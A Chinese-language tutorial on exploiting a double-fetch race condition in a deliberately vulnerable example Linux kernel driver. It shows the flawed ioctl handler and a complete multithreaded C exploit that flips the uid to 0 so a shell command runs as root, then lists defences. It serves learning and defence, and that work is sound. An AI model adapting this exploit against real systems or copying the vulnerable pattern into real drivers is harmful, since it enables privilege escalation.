内核漏洞利用入门 Part 1
字数 1416 2025-08-24 07:48:22
内核漏洞利用入门 Part 1:Double Fetch 漏洞分析与利用
1. 前言
本文旨在介绍内核漏洞利用的基础知识,特别是针对一种称为"Double Fetch"的条件竞争漏洞。内核漏洞利用常被认为难以学习,但通过系统化的方法和实践练习,可以逐步掌握相关技能。
2. 前置知识
在开始学习前,需要具备以下基础知识:
- Linux 命令行操作
- C 语言的阅读和编写能力
- 虚拟机或调试环境搭建能力
- 内核模块编译和安装能力
- 用户态和内核态的基本概念
- 基础汇编知识(有助于后续学习)
3. 示例驱动分析
3.1 设备驱动概述
示例驱动 /dev/shell 是一个字符设备,主要功能是:
- 接收两个参数:
uid和cmd - 以指定的
uid身份执行cmd命令
3.2 设备操作结构
字符设备通过 file_operations 结构定义其操作:
static struct file_operations query_fops = {
.owner = THIS_MODULE,
.open = shell_open,
.release = shell_close,
.unlocked_ioctl = shell_ioctl
};
各操作函数说明:
open: 打开设备时调用release: 关闭设备时调用unlocked_ioctl: 处理 IOCTL 请求时调用
3.3 用户态接口
用户态对应的系统调用:
- 打开设备:
fd = open("/dev/shell", O_RDWR); - 关闭设备:
close(fd); - IOCTL请求:
ioctl(fd, COMMAND, argument);
3.4 数据结构
驱动定义的用户数据结构:
typedef struct user_data {
int uid;
char cmd[100];
} user_data;
4. IOCTL 处理流程分析
完整的 shell_ioctl 函数:
static long shell_ioctl(struct file *f, unsigned int cmd, unsigned long arg) {
user_data udat;
kuid_t kernel_uid = current_uid();
memset(udat.cmd, 0, sizeof(udat.cmd));
// 第一次从用户空间拷贝uid
if (raw_copy_from_user(&udat.uid, (void *)arg, sizeof(udat.uid)))
return -EFAULT;
printk(KERN_INFO "CHECKING VALIDITY OF UID: %d", udat.uid);
if (udat.uid == kernel_uid.val) {
int rc;
struct subprocess_info *sub_info;
printk(KERN_INFO "UID: %d EQUALS %d", udat.uid, kernel_uid.val);
usleep_range(1000000, 1000001);
char **argv = kmalloc(sizeof(char *[4]), GFP_KERNEL);
if (!argv)
return -ENOMEM;
// 第二次从用户空间拷贝整个结构体
memset(&udat, 0, sizeof(udat));
if (raw_copy_from_user(&udat, (void *)arg, sizeof(udat)))
return -EFAULT;
real_uid = udat.uid;
static char *envp[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/usr/sbin:/bin:/usr/bin",
NULL
};
argv[0] = "/bin/sh";
argv[1] = "-c";
argv[2] = udat.cmd;
argv[3] = NULL;
printk(KERN_INFO "CMD = %s\n", argv[2]);
sub_info = call_usermodehelper_setup(argv[0], argv, envp, GFP_KERNEL,
init_func, free_argv, NULL);
if (sub_info == NULL) {
kfree(argv);
return -ENOMEM;
}
rc = call_usermodehelper_exec(sub_info, UMH_WAIT_PROC);
printk(KERN_INFO "RC = %d\n", rc);
return rc;
}
return 0;
}
4.1 漏洞分析
关键问题在于:
- 第一次只拷贝
uid进行验证 - 验证通过后,第二次拷贝整个结构体
- 两次拷贝之间存在时间窗口,允许用户态修改数据
这就是"Double Fetch"漏洞:
- 内核从用户空间两次获取数据
- 第一次用于验证
- 第二次用于实际使用
- 中间用户可以修改数据,绕过验证
4.2 关键函数说明
raw_copy_from_user: 从用户空间拷贝数据到内核空间current_uid: 获取当前进程的UIDcall_usermodehelper_setup/call_usermodehelper_exec: 以指定用户身份执行命令
5. 漏洞利用开发
5.1 利用思路
- 创建线程不断修改
uid为 0 (root) - 主线程不断发送合法的IOCTL请求
- 利用竞争条件,在验证后、执行前将
uid改为 0
5.2 完整利用代码
#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <pthread.h>
int finish = 0;
typedef struct user_data {
int uid;
char cmd[100];
} user_data;
void change_uid_root(void *struct_ptr) {
user_data *udat = struct_ptr;
while (finish == 0)
udat->uid = 0;
}
int main(void) {
pthread_t thread;
user_data udat;
udat.uid = 1000; // 初始UID
strcpy(udat.cmd, "echo 'foo' > /tmp/hacker");
pthread_create(&thread, NULL, change_uid_root, &udat);
int fd = open("/dev/shell", O_RDWR);
// 尝试多次以增加竞争成功率
for (int i = 0; i < 100; i++) {
ioctl(fd, 0, &udat);
udat.uid = 1000; // 重置UID
}
finish = 1;
pthread_join(thread, NULL);
close(fd);
return EXIT_SUCCESS;
}
5.3 利用步骤说明
-
编译并加载驱动:
$ make $ insmod shell.ko $ chmod 777 /dev/shell -
编译并运行利用程序
-
检查是否成功创建
/tmp/hacker文件
5.4 利用关键点
- 多线程竞争:主线程执行IOCTL,辅助线程修改数据
- 多次尝试:增加竞争成功的概率
- 数据重置:每次IOCTL后重置UID,保持合法性
- 终止条件:设置标志位安全终止线程
6. 防御措施
针对Double Fetch漏洞的防御方法:
- 一次性拷贝所有数据到内核空间
- 使用锁机制保护共享数据
- 减少用户空间和内核空间的数据交换次数
- 使用内核提供的安全拷贝函数
7. 总结
本文通过一个实际的驱动示例,详细介绍了:
- Linux字符设备驱动的基本结构
- Double Fetch漏洞的原理和危害
- 条件竞争漏洞的利用方法
- 多线程编程在内核漏洞利用中的应用
- 基本的漏洞防御思路
通过这个练习,读者可以初步理解内核漏洞利用的基本方法和思路,为进一步学习更复杂的内核漏洞利用打下基础。